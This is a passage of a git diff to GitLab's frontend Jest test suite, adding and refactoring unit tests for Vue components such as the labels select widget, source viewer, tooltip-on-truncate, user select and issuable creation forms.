@@ -130,4 +143,46 @@ describe('LabelsSelectRoot', () => {
findDropdownContents().vm.$emit('setLabels', [label]);
expect(wrapper.emitted('updateSelectedLabels')).toEqual([[{ labels: [label] }]]);
});
+
+ describe.each`
+ issuableType
+ ${IssuableType.Issue}
+ ${IssuableType.MergeRequest}
+ ${IssuableType.Epic}
+ `('when updating labels for $issuableType', ({ issuableType }) => {
+ const label = { id: 'gid://gitlab/ProjectLabel/2' };
+
+ it('sets the loading state', async () => {
+ createComponent({ issuableType });
+ await nextTick();
+ findDropdownContents().vm.$emit('setLabels', [label]);
+ await nextTick();
+
+ expect(findSidebarEditableItem().props('loading')).toBe(true);
+ });
+
+ it('updates labels correctly after successful mutation', async () => {
+ createComponent({ issuableType });
+ await nextTick();
+ findDropdownContents().vm.$emit('setLabels', [label]);
+ await waitForPromises();
+
+ expect(findDropdownValue().props('selectedLabels')).toEqual(
+ updateLabelsMutationResponse.data.updateIssuableLabels.issuable.labels.nodes,
+ );
+ });
+
+ it('displays an error if mutation was rejected', async () => {
+ createComponent({ issuableType, mutationHandler: errorQueryHandler });
+ await nextTick();
+ findDropdownContents().vm.$emit('setLabels', [label]);
+ await waitForPromises();
+
+ expect(createFlash).toHaveBeenCalledWith({
+ captureError: true,
+ error: expect.anything(),
+ message: 'An error occurred while updating labels.',
+ });
+ });
+ });
});
diff --git a/spec/frontend/vue_shared/components/sidebar/labels_select_widget/mock_data.js b/spec/frontend/vue_shared/components/sidebar/labels_select_widget/mock_data.js
index 5c5bf5f2187..6ef54ce37ce 100644
--- a/spec/frontend/vue_shared/components/sidebar/labels_select_widget/mock_data.js
+++ b/spec/frontend/vue_shared/components/sidebar/labels_select_widget/mock_data.js
@@ -118,7 +118,9 @@ export const workspaceLabelsQueryResponse = {
export const issuableLabelsQueryResponse = {
data: {
workspace: {
+ id: 'workspace-1',
issuable: {
+ __typename: 'Issue',
id: '1',
labels: {
nodes: [
@@ -135,3 +137,18 @@ export const issuableLabelsQueryResponse = {
},
},
};
+
+export const updateLabelsMutationResponse = {
+ data: {
+ updateIssuableLabels: {
+ errors: [],
+ issuable: {
+ __typename: 'Issue',
+ id: '1',
+ labels: {
+ nodes: [],
+ },
+ },
+ },
+ },
+};
diff --git a/spec/frontend/vue_shared/components/source_viewer_spec.js b/spec/frontend/vue_shared/components/source_viewer_spec.js
new file mode 100644
index 00000000000..758068379de
--- /dev/null
+++ b/spec/frontend/vue_shared/components/source_viewer_spec.js
@@ -0,0 +1,59 @@
+import hljs from 'highlight.js/lib/core';
+import { shallowMountExtended } from 'helpers/vue_test_utils_helper';
+import SourceViewer from '~/vue_shared/components/source_viewer.vue';
+import LineNumbers from '~/vue_shared/components/line_numbers.vue';
+import waitForPromises from 'helpers/wait_for_promises';
+
+jest.mock('highlight.js/lib/core');
+
+describe('Source Viewer component', () => {
+ let wrapper;
+ const content = `// Some source code`;
+ const highlightedContent = `<span data-testid='test-highlighted'>${content}</span>`;
+ const language = 'javascript';
+
+ hljs.highlight.mockImplementation(() => ({ value: highlightedContent }));
+ hljs.highlightAuto.mockImplementation(() => ({ value: highlightedContent }));
+
+ const createComponent = async (props = {}) => {
+ wrapper = shallowMountExtended(SourceViewer, { propsData: { content, language, ...props } });
+ await waitForPromises();
+ };
+
+ const findLineNumbers = () => wrapper.findComponent(LineNumbers);
+ const findHighlightedContent = () => wrapper.findByTestId('test-highlighted');
+
+ beforeEach(() => createComponent());
+
+ afterEach(() => wrapper.destroy());
+
+ describe('highlight.js', () => {
+ it('registers the language definition', async () => {
+ const languageDefinition = await import(`highlight.js/lib/languages/${language}`);
+
+ expect(hljs.registerLanguage).toHaveBeenCalledWith(language, languageDefinition.default);
+ });
+
+ it('highlights the content', () => {
+ expect(hljs.highlight).toHaveBeenCalledWith(content, { language });
+ });
+
+ describe('auto-detect enabled', () => {
+ beforeEach(() => createComponent({ autoDetect: true }));
+
+ it('highlights the content with auto-detection', () => {
+ expect(hljs.highlightAuto).toHaveBeenCalledWith(content);
+ });
+ });
+ });
+
+ describe('rendering', () => {
+ it('renders Line Numbers', () => {
+ expect(findLineNumbers().props('lines')).toBe(1);
+ });
+
+ it('renders the highlighted content', () => {
+ expect(findHighlightedContent().exists()).toBe(true);
+ });
+ });
+});
diff --git a/spec/frontend/vue_shared/components/storage_counter/usage_graph_spec.js b/spec/frontend/vue_shared/components/storage_counter/usage_graph_spec.js
deleted file mode 100644
index 103eee4b9a8..00000000000
--- a/spec/frontend/vue_shared/components/storage_counter/usage_graph_spec.js
+++ /dev/null
@@ -1,137 +0,0 @@
-import { shallowMount } from '@vue/test-utils';
-import { numberToHumanSize } from '~/lib/utils/number_utils';
-import UsageGraph from '~/vue_shared/components/storage_counter/usage_graph.vue';
-
-let data;
-let wrapper;
-
-function mountComponent({ rootStorageStatistics, limit }) {
- wrapper = shallowMount(UsageGraph, {
- propsData: {
- rootStorageStatistics,
- limit,
- },
- });
-}
-function findStorageTypeUsagesSerialized() {
- return wrapper
- .findAll('[data-testid="storage-type-usage"]')
- .wrappers.map((wp) => wp.element.style.flex);
-}
-
-describe('Storage Counter usage graph component', () => {
- beforeEach(() => {
- data = {
- rootStorageStatistics: {
- wikiSize: 5000,
- repositorySize: 4000,
- packagesSize: 3000,
- lfsObjectsSize: 2000,
- buildArtifactsSize: 500,
- pipelineArtifactsSize: 500,
- snippetsSize: 2000,
- storageSize: 17000,
- uploadsSize: 1000,
- },
- limit: 2000,
- };
- mountComponent(data);
- });
-
- afterEach(() => {
- wrapper.destroy();
- });
-
- it('renders the legend in order', () => {
- const types = wrapper.findAll('[data-testid="storage-type-legend"]');
-
- const {
- buildArtifactsSize,
- pipelineArtifactsSize,
- lfsObjectsSize,
- packagesSize,
- repositorySize,
- wikiSize,
- snippetsSize,
- uploadsSize,
- } = data.rootStorageStatistics;
-
- expect(types.at(0).text()).toMatchInterpolatedText(`Wikis ${numberToHumanSize(wikiSize)}`);
- expect(types.at(1).text()).toMatchInterpolatedText(
- `Repositories ${numberToHumanSize(repositorySize)}`,
- );
- expect(types.at(2).text()).toMatchInterpolatedText(
- `Packages ${numberToHumanSize(packagesSize)}`,
- );
- expect(types.at(3).text()).toMatchInterpolatedText(
- `LFS Objects ${numberToHumanSize(lfsObjectsSize)}`,
- );
- expect(types.at(4).text()).toMatchInterpolatedText(
- `Snippets ${numberToHumanSize(snippetsSize)}`,
- );
- expect(types.at(5).text()).toMatchInterpolatedText(
- `Artifacts ${numberToHumanSize(buildArtifactsSize + pipelineArtifactsSize)}`,
- );
- expect(types.at(6).text()).toMatchInterpolatedText(`Uploads ${numberToHumanSize(uploadsSize)}`);
- });
-
- describe('when storage type is not used', () => {
- beforeEach(() => {
- data.rootStorageStatistics.wikiSize = 0;
- mountComponent(data);
- });
-
- it('filters the storage type', () => {
- expect(wrapper.text()).not.toContain('Wikis');
- });
- });
-
- describe('when there is no storage usage', () => {
- beforeEach(() => {
- data.rootStorageStatistics.storageSize = 0;
- mountComponent(data);
- });
-
- it('it does not render', () => {
- expect(wrapper.html()).toEqual('');
- });
- });
-
- describe('when limit is 0', () => {
- beforeEach(() => {
- data.limit = 0;
- mountComponent(data);
- });
-
- it('sets correct flex values', () => {
- expect(findStorageTypeUsagesSerialized()).toStrictEqual([
- '0.29411764705882354',
- '0.23529411764705882',
- '0.17647058823529413',
- '0.11764705882352941',
- '0.11764705882352941',
- '0.058823529411764705',
- '0.058823529411764705',
- ]);
- });
- });
-
- describe('when storage exceeds limit', () => {
- beforeEach(() => {
- data.limit = data.rootStorageStatistics.storageSize - 1;
- mountComponent(data);
- });
-
- it('it does render correclty', () => {
- expect(findStorageTypeUsagesSerialized()).toStrictEqual([
- '0.29411764705882354',
- '0.23529411764705882',
- '0.17647058823529413',
- '0.11764705882352941',
- '0.11764705882352941',
- '0.058823529411764705',
- '0.058823529411764705',
- ]);
- });
- });
-});
diff --git a/spec/frontend/vue_shared/components/tooltip_on_truncate_spec.js b/spec/frontend/vue_shared/components/tooltip_on_truncate_spec.js
index 380b7231acd..9e7e5c1263f 100644
--- a/spec/frontend/vue_shared/components/tooltip_on_truncate_spec.js
+++ b/spec/frontend/vue_shared/components/tooltip_on_truncate_spec.js
@@ -1,25 +1,20 @@
import { mount, shallowMount } from '@vue/test-utils';
+import { nextTick } from 'vue';
import { hasHorizontalOverflow } from '~/lib/utils/dom_utils';
-import TooltipOnTruncate from '~/vue_shared/components/tooltip_on_truncate.vue';
+import TooltipOnTruncate from '~/vue_shared/components/tooltip_on_truncate/tooltip_on_truncate.vue';
+import { createMockDirective, getBinding } from 'helpers/vue_mock_directive';
-const DUMMY_TEXT = 'lorem-ipsum-dolar-sit-amit-consectur-adipiscing-elit-sed-do';
+const MOCK_TITLE = 'lorem-ipsum-dolar-sit-amit-consectur-adipiscing-elit-sed-do';
+const SHORT_TITLE = 'my-text';
-const createChildElement = () => `<a href="#">${DUMMY_TEXT}</a>`;
+const createChildElement = () => `<a href="#">${MOCK_TITLE}</a>`;
jest.mock('~/lib/utils/dom_utils', () => ({
- hasHorizontalOverflow: jest.fn(() => {
+ ...jest.requireActual('~/lib/utils/dom_utils'),
+ hasHorizontalOverflow: jest.fn().mockImplementation(() => {
throw new Error('this needs to be mocked');
}),
}));
-jest.mock('@gitlab/ui', () => ({
- GlTooltipDirective: {
- bind(el, binding) {
- el.classList.add('gl-tooltip');
- el.setAttribute('data-original-title', el.title);
- el.dataset.placement = binding.value.placement;
- },
- },
-}));
describe('TooltipOnTruncate component', () => {
let wrapper;
@@ -27,15 +22,31 @@ describe('TooltipOnTruncate component', () => {
const createComponent = ({ propsData, ...options } = {}) => {
wrapper = shallowMount(TooltipOnTruncate, {
- attachTo: document.body,
propsData: {
+ title: MOCK_TITLE,
...propsData,
},
+ slots: {
+ default: [MOCK_TITLE],
+ },
+ directives: {
+ GlTooltip: createMockDirective(),
+ GlResizeObserver: createMockDirective(),
+ },
...options,
});
};
const createWrappedComponent = ({ propsData, ...options }) => {
+ const WrappedTooltipOnTruncate = {
+ ...TooltipOnTruncate,
+ directives: {
+ ...TooltipOnTruncate.directives,
+ GlTooltip: createMockDirective(),
+ GlResizeObserver: createMockDirective(),
+ },
+ };
+
// set a parent around the tested component
parent = mount(
{
@@ -43,74 +54,85 @@ describe('TooltipOnTruncate component', () => {
title: { default: '' },
},
template: `
- <TooltipOnTruncate :title="title" truncate-target="child">
- <div>{{title}}</div>
- </TooltipOnTruncate>
+ <TooltipOnTruncate :title="title" truncate-target="child">
+ <div>{{title}}</div>
+ </TooltipOnTruncate>
`,
components: {
- TooltipOnTruncate,
+ TooltipOnTruncate: WrappedTooltipOnTruncate,
},
},
{
propsData: { ...propsData },
- attachTo: document.body,
...options,
},
);
- wrapper = parent.find(TooltipOnTruncate);
+ wrapper = parent.find(WrappedTooltipOnTruncate);
};
- const hasTooltip = () => wrapper.classes('gl-tooltip');
+ const getTooltipValue = () => getBinding(wrapper.element, 'gl-tooltip')?.value;
+ const resize = async ({ truncate }) => {
+ hasHorizontalOverflow.mockReturnValueOnce(truncate);
+ getBinding(wrapper.element, 'gl-resize-observer').value();
+ await nextTick();
+ };
afterEach(() => {
wrapper.destroy();
});
- describe('with default target', () => {
- it('renders tooltip if truncated', () => {
+ describe('when truncated', () => {
+ beforeEach(async () => {
hasHorizontalOverflow.mockReturnValueOnce(true);
- createComponent({
- propsData: {
- title: DUMMY_TEXT,
- },
- slots: {
- default: [DUMMY_TEXT],
- },
- });
+ createComponent();
+ });
- return wrapper.vm.$nextTick().then(() => {
- expect(hasHorizontalOverflow).toHaveBeenCalledWith(wrapper.element);
- expect(hasTooltip()).toBe(true);
- expect(wrapper.attributes('data-original-title')).toEqual(DUMMY_TEXT);
- expect(wrapper.attributes('data-placement')).toEqual('top');
+ it('renders tooltip', async () => {
+ expect(hasHorizontalOverflow).toHaveBeenLastCalledWith(wrapper.element);
+ expect(getTooltipValue()).toMatchObject({
+ title: MOCK_TITLE,
+ placement: 'top',
+ disabled: false,
});
+ expect(wrapper.classes('js-show-tooltip')).toBe(true);
});
+ });
- it('does not render tooltip if normal', () => {
+ describe('with default target', () => {
+ beforeEach(async () => {
hasHorizontalOverflow.mockReturnValueOnce(false);
- createComponent({
- propsData: {
- title: DUMMY_TEXT,
- },
- slots: {
- default: [DUMMY_TEXT],
- },
+ createComponent();
+ });
+
+ it('does not render tooltip if not truncated', () => {
+ expect(hasHorizontalOverflow).toHaveBeenLastCalledWith(wrapper.element);
+ expect(getTooltipValue()).toMatchObject({
+ disabled: true,
});
+ expect(wrapper.classes('js-show-tooltip')).toBe(false);
+ });
- return wrapper.vm.$nextTick().then(() => {
- expect(hasHorizontalOverflow).toHaveBeenCalledWith(wrapper.element);
- expect(hasTooltip()).toBe(false);
+ it('renders tooltip on resize', async () => {
+ await resize({ truncate: true });
+
+ expect(getTooltipValue()).toMatchObject({
+ disabled: false,
+ });
+
+ await resize({ truncate: false });
+
+ expect(getTooltipValue()).toMatchObject({
+ disabled: true,
});
});
});
describe('with child target', () => {
- it('renders tooltip if truncated', () => {
+ it('renders tooltip if truncated', async () => {
hasHorizontalOverflow.mockReturnValueOnce(true);
createComponent({
propsData: {
- title: DUMMY_TEXT,
truncateTarget: 'child',
},
slots: {
@@ -118,13 +140,18 @@ describe('TooltipOnTruncate component', () => {
},
});
- return wrapper.vm.$nextTick().then(() => {
- expect(hasHorizontalOverflow).toHaveBeenCalledWith(wrapper.element.childNodes[0]);
- expect(hasTooltip()).toBe(true);
+ expect(hasHorizontalOverflow).toHaveBeenLastCalledWith(wrapper.element.childNodes[0]);
+
+ await nextTick();
+
+ expect(getTooltipValue()).toMatchObject({
+ title: MOCK_TITLE,
+ placement: 'top',
+ disabled: false,
});
});
- it('does not render tooltip if normal', () => {
+ it('does not render tooltip if normal', async () => {
hasHorizontalOverflow.mockReturnValueOnce(false);
createComponent({
propsData: {
@@ -135,19 +162,21 @@ describe('TooltipOnTruncate component', () => {
},
});
- return wrapper.vm.$nextTick().then(() => {
- expect(hasHorizontalOverflow).toHaveBeenCalledWith(wrapper.element.childNodes[0]);
- expect(hasTooltip()).toBe(false);
+ expect(hasHorizontalOverflow).toHaveBeenLastCalledWith(wrapper.element.childNodes[0]);
+
+ await nextTick();
+
+ expect(getTooltipValue()).toMatchObject({
+ disabled: true,
});
});
});
describe('with fn target', () => {
- it('renders tooltip if truncated', () => {
+ it('renders tooltip if truncated', async () => {
hasHorizontalOverflow.mockReturnValueOnce(true);
createComponent({
propsData: {
- title: DUMMY_TEXT,
truncateTarget: (el) => el.childNodes[1],
},
slots: {
@@ -155,93 +184,97 @@ describe('TooltipOnTruncate component', () => {
},
});
- return wrapper.vm.$nextTick().then(() => {
- expect(hasHorizontalOverflow).toHaveBeenCalledWith(wrapper.element.childNodes[1]);
- expect(hasTooltip()).toBe(true);
+ expect(hasHorizontalOverflow).toHaveBeenLastCalledWith(wrapper.element.childNodes[1]);
+
+ await nextTick();
+
+ expect(getTooltipValue()).toMatchObject({
+ disabled: false,
});
});
});
describe('placement', () => {
- it('sets data-placement when tooltip is rendered', () => {
- const placement = 'bottom';
+ it('sets placement when tooltip is rendered', () => {
+ const mockPlacement = 'bottom';
hasHorizontalOverflow.mockReturnValueOnce(true);
createComponent({
propsData: {
- placement,
- },
- slots: {
- default: DUMMY_TEXT,
+ placement: mockPlacement,
},
});
- return wrapper.vm.$nextTick().then(() => {
- expect(hasTooltip()).toBe(true);
- expect(wrapper.attributes('data-placement')).toEqual(placement);
+ expect(hasHorizontalOverflow).toHaveBeenLastCalledWith(wrapper.element);
+ expect(getTooltipValue()).toMatchObject({
+ placement: mockPlacement,
});
});
});
describe('updates when title and slot content changes', () => {
describe('is initialized with a long text', () => {
- beforeEach(() => {
+ beforeEach(async () => {
hasHorizontalOverflow.mockReturnValueOnce(true);
createWrappedComponent({
- propsData: { title: DUMMY_TEXT },
+ propsData: { title: MOCK_TITLE },
});
- return parent.vm.$nextTick();
+ await nextTick();
});
it('renders tooltip', () => {
- expect(hasTooltip()).toBe(true);
- expect(wrapper.attributes('data-original-title')).toEqual(DUMMY_TEXT);
- expect(wrapper.attributes('data-placement')).toEqual('top');
+ expect(getTooltipValue()).toMatchObject({
+ title: MOCK_TITLE,
+ placement: 'top',
+ disabled: false,
+ });
});
- it('does not render tooltip after updated to a short text', () => {
+ it('does not render tooltip after updated to a short text', async () => {
hasHorizontalOverflow.mockReturnValueOnce(false);
parent.setProps({
- title: 'new-text',
+ title: SHORT_TITLE,
});
- return wrapper.vm
- .$nextTick()
- .then(() => wrapper.vm.$nextTick()) // wait 2 times to get an updated slot
- .then(() => {
- expect(hasTooltip()).toBe(false);
- });
+ await nextTick();
+ await nextTick(); // wait 2 times to get an updated slot
+
+ expect(getTooltipValue()).toMatchObject({
+ title: SHORT_TITLE,
+ disabled: true,
+ });
});
});
- describe('is initialized with a short text', () => {
- beforeEach(() => {
+ describe('is initialized with a short text that does not overflow', () => {
+ beforeEach(async () => {
hasHorizontalOverflow.mockReturnValueOnce(false);
createWrappedComponent({
- propsData: { title: DUMMY_TEXT },
+ propsData: { title: MOCK_TITLE },
});
- return wrapper.vm.$nextTick();
+ await nextTick();
});
it('does not render tooltip', () => {
- expect(hasTooltip()).toBe(false);
+ expect(getTooltipValue()).toMatchObject({
+ title: MOCK_TITLE,
+ disabled: true,
+ });
});
- it('renders tooltip after text is updated', () => {
+ it('renders tooltip after text is updated', async () => {
hasHorizontalOverflow.mockReturnValueOnce(true);
- const newText = 'new-text';
parent.setProps({
- title: newText,
+ title: SHORT_TITLE,
});
- return wrapper.vm
- .$nextTick()
- .then(() => wrapper.vm.$nextTick()) // wait 2 times to get an updated slot
- .then(() => {
- expect(hasTooltip()).toBe(true);
- expect(wrapper.attributes('data-original-title')).toEqual(newText);
- expect(wrapper.attributes('data-placement')).toEqual('top');
- });
+ await nextTick();
+ await nextTick(); // wait 2 times to get an updated slot
+
+ expect(getTooltipValue()).toMatchObject({
+ title: SHORT_TITLE,
+ disabled: false,
+ });
});
});
});
diff --git a/spec/frontend/vue_shared/components/user_select_spec.js b/spec/frontend/vue_shared/components/user_select_spec.js
index b777ac0a0a4..8994e16e517 100644
--- a/spec/frontend/vue_shared/components/user_select_spec.js
+++ b/spec/frontend/vue_shared/components/user_select_spec.js
@@ -1,7 +1,7 @@
import { GlSearchBoxByType, GlDropdown } from '@gitlab/ui';
-import { shallowMount, createLocalVue } from '@vue/test-utils';
+import { shallowMount } from '@vue/test-utils';
import { cloneDeep } from 'lodash';
-import { nextTick } from 'vue';
+import Vue, { nextTick } from 'vue';
import VueApollo from 'vue-apollo';
import createMockApollo from 'helpers/mock_apollo_helper';
import waitForPromises from 'helpers/wait_for_promises';
@@ -33,8 +33,7 @@ const waitForSearch = async () => {
await waitForPromises();
};
-const localVue = createLocalVue();
-localVue.use(VueApollo);
+Vue.use(VueApollo);
describe('User select dropdown', () => {
let wrapper;
@@ -62,7 +61,6 @@ describe('User select dropdown', () => {
[getIssueParticipantsQuery, participantsQueryHandler],
]);
wrapper = shallowMount(UserSelect, {
- localVue,
apolloProvider: fakeApollo,
propsData: {
headerText: 'test',
diff --git a/spec/frontend/vue_shared/components/vuex_module_provider_spec.js b/spec/frontend/vue_shared/components/vuex_module_provider_spec.js
index ebd396bd87c..c136c2054ac 100644
--- a/spec/frontend/vue_shared/components/vuex_module_provider_spec.js
+++ b/spec/frontend/vue_shared/components/vuex_module_provider_spec.js
@@ -1,4 +1,4 @@
-import { mount, createLocalVue } from '@vue/test-utils';
+import { mount } from '@vue/test-utils';
import Vue from 'vue';
import VueApollo from 'vue-apollo';
import VuexModuleProvider from '~/vue_shared/components/vuex_module_provider.vue';
@@ -38,10 +38,9 @@ describe('~/vue_shared/components/vuex_module_provider', () => {
it('does not blow up when used with vue-apollo', () => {
// See https://github.com/vuejs/vue-apollo/pull/1153 for details
- const localVue = createLocalVue();
- localVue.use(VueApollo);
+ Vue.use(VueApollo);
- createComponent({ localVue });
+ createComponent();
expect(findProvidedVuexModule()).toBe(TEST_VUEX_MODULE);
});
});
diff --git a/spec/frontend/vue_shared/gl_feature_flags_plugin_spec.js b/spec/frontend/vue_shared/gl_feature_flags_plugin_spec.js
index 3fb60c254c9..7738a69a174 100644
--- a/spec/frontend/vue_shared/gl_feature_flags_plugin_spec.js
+++ b/spec/frontend/vue_shared/gl_feature_flags_plugin_spec.js
@@ -1,9 +1,8 @@
-import { createLocalVue, shallowMount } from '@vue/test-utils';
+import { shallowMount } from '@vue/test-utils';
+import Vue from 'vue';
import GlFeatureFlags from '~/vue_shared/gl_feature_flags_plugin';
import glFeatureFlagsMixin from '~/vue_shared/mixins/gl_feature_flags_mixin';
-const localVue = createLocalVue();
-
describe('GitLab Feature Flags Plugin', () => {
beforeEach(() => {
window.gon = {
@@ -17,7 +16,7 @@ describe('GitLab Feature Flags Plugin', () => {
},
};
- localVue.use(GlFeatureFlags);
+ Vue.use(GlFeatureFlags);
});
it('should provide glFeatures to components', () => {
@@ -25,7 +24,7 @@ describe('GitLab Feature Flags Plugin', () => {
template: `<span></span>`,
inject: ['glFeatures'],
};
- const wrapper = shallowMount(component, { localVue });
+ const wrapper = shallowMount(component);
expect(wrapper.vm.glFeatures).toEqual({
aFeature: true,
bFeature: false,
@@ -39,7 +38,7 @@ describe('GitLab Feature Flags Plugin', () => {
template: `<span></span>`,
mixins: [glFeatureFlagsMixin()],
};
- const wrapper = shallowMount(component, { localVue });
+ const wrapper = shallowMount(component);
expect(wrapper.vm.glFeatures).toEqual({
aFeature: true,
bFeature: false,
diff --git a/spec/frontend/vue_shared/issuable/create/components/issuable_create_root_spec.js b/spec/frontend/vue_shared/issuable/create/components/issuable_create_root_spec.js
new file mode 100644
index 00000000000..81362edaf37
--- /dev/null
+++ b/spec/frontend/vue_shared/issuable/create/components/issuable_create_root_spec.js
@@ -0,0 +1,64 @@
+import { mount } from '@vue/test-utils';
+
+import IssuableCreateRoot from '~/vue_shared/issuable/create/components/issuable_create_root.vue';
+import IssuableForm from '~/vue_shared/issuable/create/components/issuable_form.vue';
+
+const createComponent = ({
+ descriptionPreviewPath = '/gitlab-org/gitlab-shell/preview_markdown',
+ descriptionHelpPath = '/help/user/markdown',
+ labelsFetchPath = '/gitlab-org/gitlab-shell/-/labels.json',
+ labelsManagePath = '/gitlab-org/gitlab-shell/-/labels',
+} = {}) => {
+ return mount(IssuableCreateRoot, {
+ propsData: {
+ descriptionPreviewPath,
+ descriptionHelpPath,
+ labelsFetchPath,
+ labelsManagePath,
+ },
+ slots: {
+ title: `
+ <h1 class="js-create-title">New Issuable</h1>
+ `,
+ actions: `
+ <button class="js-issuable-save">Submit issuable</button>
+ `,
+ },
+ });
+};
+
+describe('IssuableCreateRoot', () => {
+ let wrapper;
+
+ beforeEach(() => {
+ wrapper = createComponent();
+ });
+
+ afterEach(() => {
+ wrapper.destroy();
+ });
+
+ describe('template', () => {
+ it('renders component container element with class "issuable-create-container"', () => {
+ expect(wrapper.classes()).toContain('issuable-create-container');
+ });
+
+ it('renders contents for slot "title"', () => {
+ const titleEl = wrapper.find('h1.js-create-title');
+
+ expect(titleEl.exists()).toBe(true);
+ expect(titleEl.text()).toBe('New Issuable');
+ });
+
+ it('renders issuable-form component', () => {
+ expect(wrapper.find(IssuableForm).exists()).toBe(true);
+ });
+
+ it('renders contents for slot "actions" within issuable-form component', () => {
+ const buttonEl = wrapper.find(IssuableForm).find('button.js-issuable-save');
+
+ expect(buttonEl.exists()).toBe(true);
+ expect(buttonEl.text()).toBe('Submit issuable');
+ });
+ });
+});
diff --git a/spec/frontend/vue_shared/issuable/create/components/issuable_form_spec.js b/spec/frontend/vue_shared/issuable/create/components/issuable_form_spec.js
new file mode 100644
index 00000000000..cbfd05e7903
--- /dev/null
+++ b/spec/frontend/vue_shared/issuable/create/components/issuable_form_spec.js
@@ -0,0 +1,122 @@
+import { GlFormInput } from '@gitlab/ui';
+import { shallowMount } from '@vue/test-utils';
+
+import IssuableForm from '~/vue_shared/issuable/create/components/issuable_form.vue';
+import MarkdownField from '~/vue_shared/components/markdown/field.vue';
+import LabelsSelect from '~/vue_shared/components/sidebar/labels_select_vue/labels_select_root.vue';
+
+const createComponent = ({
+ descriptionPreviewPath = '/gitlab-org/gitlab-shell/preview_markdown',
+ descriptionHelpPath = '/help/user/markdown',
+ labelsFetchPath = '/gitlab-org/gitlab-shell/-/labels.json',
+ labelsManagePath = '/gitlab-org/gitlab-shell/-/labels',
+} = {}) => {
+ return shallowMount(IssuableForm, {
+ propsData: {
+ descriptionPreviewPath,
+ descriptionHelpPath,
+ labelsFetchPath,
+ labelsManagePath,
+ },
+ slots: {
+ actions: `
+ <button class="js-issuable-save">Submit issuable</button>
+ `,
+ },
+ stubs: {
+ MarkdownField,
+ },
+ });
+};
+
+describe('IssuableForm', () => {
+ let wrapper;
+
+ beforeEach(() => {
+ wrapper = createComponent();
+ });
+
+ afterEach(() => {
+ wrapper.destroy();
+ });
+
+ describe('methods', () => {
+ describe('handleUpdateSelectedLabels', () => {
+ it('sets provided `labels` param to prop `selectedLabels`', () => {
+ const labels = [
+ {
+ id: 1,
+ color: '#BADA55',
+ text_color: '#ffffff',
+ title: 'Documentation',
+ },
+ ];
+
+ wrapper.vm.handleUpdateSelectedLabels(labels);
+
+ expect(wrapper.vm.selectedLabels).toBe(labels);
+ });
+ });
+ });
+
+ describe('template', () => {
+ it('renders issuable title input field', () => {
+ const titleFieldEl = wrapper.find('[data-testid="issuable-title"]');
+
+ expect(titleFieldEl.exists()).toBe(true);
+ expect(titleFieldEl.find('label').text()).toBe('Title');
+ expect(titleFieldEl.find(GlFormInput).exists()).toBe(true);
+ expect(titleFieldEl.find(GlFormInput).attributes('placeholder')).toBe('Title');
+ expect(titleFieldEl.find(GlFormInput).attributes('autofocus')).toBe('true');
+ });
+
+ it('renders issuable description input field', () => {
+ const descriptionFieldEl = wrapper.find('[data-testid="issuable-description"]');
+
+ expect(descriptionFieldEl.exists()).toBe(true);
+ expect(descriptionFieldEl.find('label').text()).toBe('Description');
+ expect(descriptionFieldEl.find(MarkdownField).exists()).toBe(true);
+ expect(descriptionFieldEl.find(MarkdownField).props()).toMatchObject({
+ markdownPreviewPath: wrapper.vm.descriptionPreviewPath,
+ markdownDocsPath: wrapper.vm.descriptionHelpPath,
+ addSpacingClasses: false,
+ showSuggestPopover: true,
+ textareaValue: '',
+ });
+ expect(descriptionFieldEl.find('textarea').exists()).toBe(true);
+ expect(descriptionFieldEl.find('textarea').attributes('placeholder')).toBe(
+ 'Write a comment or drag your files here…',
+ );
+ });
+
+ it('renders labels select field', () => {
+ const labelsSelectEl = wrapper.find('[data-testid="issuable-labels"]');
+
+ expect(labelsSelectEl.exists()).toBe(true);
+ expect(labelsSelectEl.find('label').text()).toBe('Labels');
+ expect(labelsSelectEl.find(LabelsSelect).exists()).toBe(true);
+ expect(labelsSelectEl.find(LabelsSelect).props()).toMatchObject({
+ allowLabelEdit: true,
+ allowLabelCreate: true,
+ allowMultiselect: true,
+ allowScopedLabels: true,
+ labelsFetchPath: wrapper.vm.labelsFetchPath,
+ labelsManagePath: wrapper.vm.labelsManagePath,
+ selectedLabels: wrapper.vm.selectedLabels,
+ labelsListTitle: 'Select label',
+ footerCreateLabelTitle: 'Create project label',
+ footerManageLabelTitle: 'Manage project labels',
+ variant: 'embedded',
+ });
+ });
+
+ it('renders contents for slot "actions"', () => {
+ const buttonEl = wrapper
+ .find('[data-testid="issuable-create-actions"]')
+ .find('button.js-issuable-save');
+
+ expect(buttonEl.exists()).toBe(true);
+ expect(buttonEl.text()).toBe('Submit issuable');
+ });
+ });
+});
diff --git a/spec/frontend/vue_shared/issuable/list/components/issuable_bulk_edit_sidebar_spec.js b/spec/frontend/vue_shared/issuable/list/components/issuable_bulk_edit_sidebar_spec.js
new file mode 100644
index 00000000000..0f33a3d1122
--- /dev/null
+++ b/spec/frontend/vue_shared/issuable/list/components/issuable_bulk_edit_sidebar_spec.js
@@ -0,0 +1,97 @@
+import { shallowMount } from '@vue/test-utils';
+
+import IssuableBulkEditSidebar from '~/vue_shared/issuable/list/components/issuable_bulk_edit_sidebar.vue';
+
+const createComponent = ({ expanded = true } = {}) =>
+ shallowMount(IssuableBulkEditSidebar, {
+ propsData: {
+ expanded,
+ },
+ slots: {
+ 'bulk-edit-actions': `
+ <button class="js-edit-issuables">Edit issuables</button>
+ `,
+ 'sidebar-items': `
+ <button class="js-sidebar-dropdown">Labels</button>
+ `,
+ },
+ });
+
+describe('IssuableBulkEditSidebar', () => {
+ let wrapper;
+
+ beforeEach(() => {
+ setFixtures('<div class="layout-page right-sidebar-collapsed"></div>');
+ wrapper = createComponent();
+ });
+
+ afterEach(() => {
+ wrapper.destroy();
+ });
+
+ describe('watch', () => {
+ describe('expanded', () => {
+ it.each`
+ expanded | layoutPageClass
+ ${true} | ${'right-sidebar-expanded'}
+ ${false} | ${'right-sidebar-collapsed'}
+ `(
+ 'sets class "$layoutPageClass" on element `.layout-page` when expanded prop is $expanded',
+ async ({ expanded, layoutPageClass }) => {
+ const wrappeCustom = createComponent({
+ expanded: !expanded,
+ });
+
+ // We need to manually flip the value of `expanded` for
+ // watcher to trigger.
+ wrappeCustom.setProps({
+ expanded,
+ });
+
+ await wrappeCustom.vm.$nextTick();
+
+ expect(document.querySelector('.layout-page').classList.contains(layoutPageClass)).toBe(
+ true,
+ );
+
+ wrappeCustom.destroy();
+ },
+ );
+ });
+ });
+
+ describe('template', () => {
+ it.each`
+ expanded | layoutPageClass
+ ${true} | ${'right-sidebar-expanded'}
+ ${false} | ${'right-sidebar-collapsed'}
+ `(
+ 'renders component container with class "$layoutPageClass" when expanded prop is $expanded',
